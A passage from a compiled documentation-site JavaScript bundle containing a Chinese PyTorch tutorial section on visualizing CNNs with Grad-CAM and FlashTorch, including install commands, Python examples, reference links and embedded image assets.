u66f4\u4e3a\u76f4\u89c2\uff0c\u80fd\u591f\u4e00\u76ee\u4e86\u7136\u5730\u786e\u5b9a\u91cd\u8981\u533a\u57df\uff0c\u8fdb\u800c\u8fdb\u884c\u53ef\u89e3\u91ca\u6027\u5206\u6790\u6216\u6a21\u578b\u4f18\u5316\u6539\u8fdb\u3002CAM\u7cfb\u5217\u64cd\u4f5c\u7684\u5b9e\u73b0\u53ef\u4ee5\u901a\u8fc7\u5f00\u6e90\u5de5\u5177\u5305pytorch-grad-cam\u6765\u5b9e\u73b0\u3002"}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u5b89\u88c5"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-bash",children:"pip install grad-cam\n"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torchvision.models import vgg11,resnet18,resnet101,resnext101_32x8d\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport numpy as np\n\nmodel = vgg11(pretrained=True)\nimg_path = './dog.png'\n# resize\u64cd\u4f5c\u662f\u4e3a\u4e86\u548c\u4f20\u5165\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u56fe\u7247\u5927\u5c0f\u4e00\u81f4\nimg = Image.open(img_path).resize((224,224))\n# \u9700\u8981\u5c06\u539f\u59cb\u56fe\u7247\u8f6c\u4e3anp.float32\u683c\u5f0f\u5e76\u4e14\u57280-1\u4e4b\u95f4 \nrgb_img = np.float32(img)/255\nplt.imshow(img)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"dog",src:n(42321).A+"",width:"256",height:"246"})}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"from pytorch_grad_cam import GradCAM,ScoreCAM,GradCAMPlusPlus,AblationCAM,XGradCAM,EigenCAM,FullGrad\nfrom pytorch_grad_cam.utils.model_targets import ClassifierOutputTarget\nfrom pytorch_grad_cam.utils.image import show_cam_on_image\n\n# \u5c06\u56fe\u7247\u8f6c\u4e3atensor\nimg_tensor = torch.from_numpy(rgb_img).permute(2,0,1).unsqueeze(0)\n\ntarget_layers = [model.features[-1]]\n# \u9009\u53d6\u5408\u9002\u7684\u7c7b\u6fc0\u6d3b\u56fe\uff0c\u4f46\u662fScoreCAM\u548cAblationCAM\u9700\u8981batch_size\ncam = GradCAM(model=model,target_layers=target_layers)\ntargets = [ClassifierOutputTarget(preds)] \n# \u4e0a\u65b9preds\u9700\u8981\u8bbe\u5b9a\uff0c\u6bd4\u5982ImageNet\u67091000\u7c7b\uff0c\u8fd9\u91cc\u53ef\u4ee5\u8bbe\u4e3a200\ngrayscale_cam = cam(input_tensor=img_tensor, targets=targets)\ngrayscale_cam = grayscale_cam[0, :]\ncam_img = show_cam_on_image(rgb_img, grayscale_cam, use_rgb=True)\nprint(type(cam_img))\nImage.fromarray(cam_img)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"grad_cam",src:n(29041).A+"",width:"234",height:"231"})}),"\n",(0,a.jsx)(e.h2,{id:"724-\u4f7f\u7528flashtorch\u5feb\u901f\u5b9e\u73b0cnn\u53ef\u89c6\u5316",children:"7.2.4 \u4f7f\u7528FlashTorch\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316"}),"\n",(0,a.jsxs)(e.p,{children:["\u806a\u660e\u7684\u4f60\u53ef\u80fd\u8981\u95ee\u4e86\uff0c\u5df2\u7ecf202x\u5e74\u4e86\uff0c\u96be\u9053\u8fd8\u8981\u6211\u4eec\u624b\u628a\u624b\u53bb\u5199\u5404\u79cdCNN\u53ef\u89c6\u5316\u7684\u4ee3\u7801\u5417\uff1f\u7b54\u6848\u5f53\u7136\u662f\u5426\u5b9a\u7684\u3002\u968f\u7740PyTorch\u793e\u533a\u7684\u52aa\u529b\uff0c\u76ee\u524d\u5df2\u7ecf\u6709\u4e0d\u5c11\u5f00\u6e90\u5de5\u5177\u80fd\u591f\u5e2e\u52a9\u6211\u4eec\u5feb\u901f\u5b9e\u73b0CNN\u53ef\u89c6\u5316\u3002\u8fd9\u91cc\u6211\u4eec\u4ecb\u7ecd\u5176\u4e2d\u7684\u4e00\u4e2a\u2014\u2014",(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch",children:"FlashTorch"}),"\u3002"]}),"\n",(0,a.jsxs)(e.p,{children:["\uff08\u6ce8\uff1a\u4f7f\u7528\u4e2d\u53d1\u73b0\u8be5package\u5bf9\u73af\u5883\u6709\u8981\u6c42\uff0c\u5982\u679c\u4e0b\u65b9\u4ee3\u7801\u8fd0\u884c\u62a5\u9519\uff0c\u8bf7\u53c2\u8003\u4f5c\u8005\u7ed9\u51fa\u7684\u914d\u7f6e\u6216\u8005Colab\u8fd0\u884c\u73af\u5883\uff1a",(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch/issues/39%EF%BC%89",children:"https://github.com/MisaOgura/flashtorch/issues/39\uff09"})]}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u5b89\u88c5"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-bash",children:"pip install flashtorch\n"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u68af\u5ea6"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:"# Download example images\n# !mkdir -p images\n# !wget -nv \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/great_grey_owl.jpg \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/peacock.jpg \\\n# https://github.com/MisaOgura/flashtorch/raw/master/examples/images/toucan.jpg \\\n# -P /content/images\n\nimport matplotlib.pyplot as plt\nimport torchvision.models as models\nfrom flashtorch.utils import apply_transforms, load_image\nfrom flashtorch.saliency import Backprop\n\nmodel = models.alexnet(pretrained=True)\nbackprop = Backprop(model)\n\nimage = load_image('/content/images/great_grey_owl.jpg')\nowl = apply_transforms(image)\n\ntarget_class = 24\nbackprop.visualize(owl, target_class, guided=True, use_gpu=True)\n"})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"ft-gradient",src:n(88062).A+"",width:"1814",height:"447"})}),"\n",(0,a.jsxs)(e.ul,{children:["\n",(0,a.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u5377\u79ef\u6838"}),"\n"]}),"\n",(0,a.jsx)(e.pre,{children:(0,a.jsx)(e.code,{className:"language-python",children:'import torchvision.models as models\nfrom flashtorch.activmax import GradientAscent\n\nmodel = models.vgg16(pretrained=True)\ng_ascent = GradientAscent(model.features)\n\n# specify layer and filter info\nconv5_1 = model.features[24]\nconv5_1_filters = [45, 271, 363, 489]\n\ng_ascent.visualize(conv5_1, conv5_1_filters, title="VGG16: conv5_1")\n'})}),"\n",(0,a.jsx)(e.p,{children:(0,a.jsx)(e.img,{alt:"ft-activate",src:n(32681).A+"",width:"1821",height:"603"})}),"\n",(0,a.jsx)(e.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,a.jsxs)(e.ol,{children:["\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://andrewhuman.github.io/cnn-hidden-layout_search",children:"https://andrewhuman.github.io/cnn-hidden-layout_search"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://cloud.tencent.com/developer/article/1747222",children:"https://cloud.tencent.com/developer/article/1747222"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://github.com/jacobgil/pytorch-grad-cam",children:"https://github.com/jacobgil/pytorch-grad-cam"})}),"\n",(0,a.jsx)(e.li,{children:(0,a.jsx)(e.a,{href:"https://github.com/MisaOgura/flashtorch",children:"https://github.com/MisaOgura/flashtorch"})}),"\n"]})]})}function d(A={}){const{wrapper:e}={...(0,i.R)(),...A.components};return e?(0,a.jsx)(e,{...A,children:(0,a.jsx)(g,{...A})}):g(A)}},20514:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/cam-86e63ecd417f308ff08029b53775208f.png"},23337:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer3-d3e9a6646c5772e26eb8810e694ad550.png"},23510:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer4-21f600e7458fc961f559751bc9adcc4a.png"},28453:(A,e,n)=>{n.d(e,{R:()=>s,x:()=>r});var t=n(96540);const a={},i=t.createContext(a);function s(A){const e=t.useContext(i);return t.useMemo(function(){return"function"==typeof A?A(e):{...e,...A}},[e,A])}function r(A){let e;return e=A.disableParentContext?"function"==typeof A.components?A.components(a):A.components||a:s(A.components),t.createElement(i.Provider,{value:e},A.children)}},29041:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/cam_dog-dd862b5c3b09b7dcdedb52b230449607.png"},32681:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/ft_activate-598a713e5892092429a2653272ab00ff.png"},42321:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/dog-00ce26342776aeb213f4d1e38f33bc08.png"},68512:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/layer2-dbfb8ad3c49d4c491b3622cfb7755c4a.png"},87343:(A,e,n)=>{n.d(e,{A:()=>t});const t="data:image/png;base64,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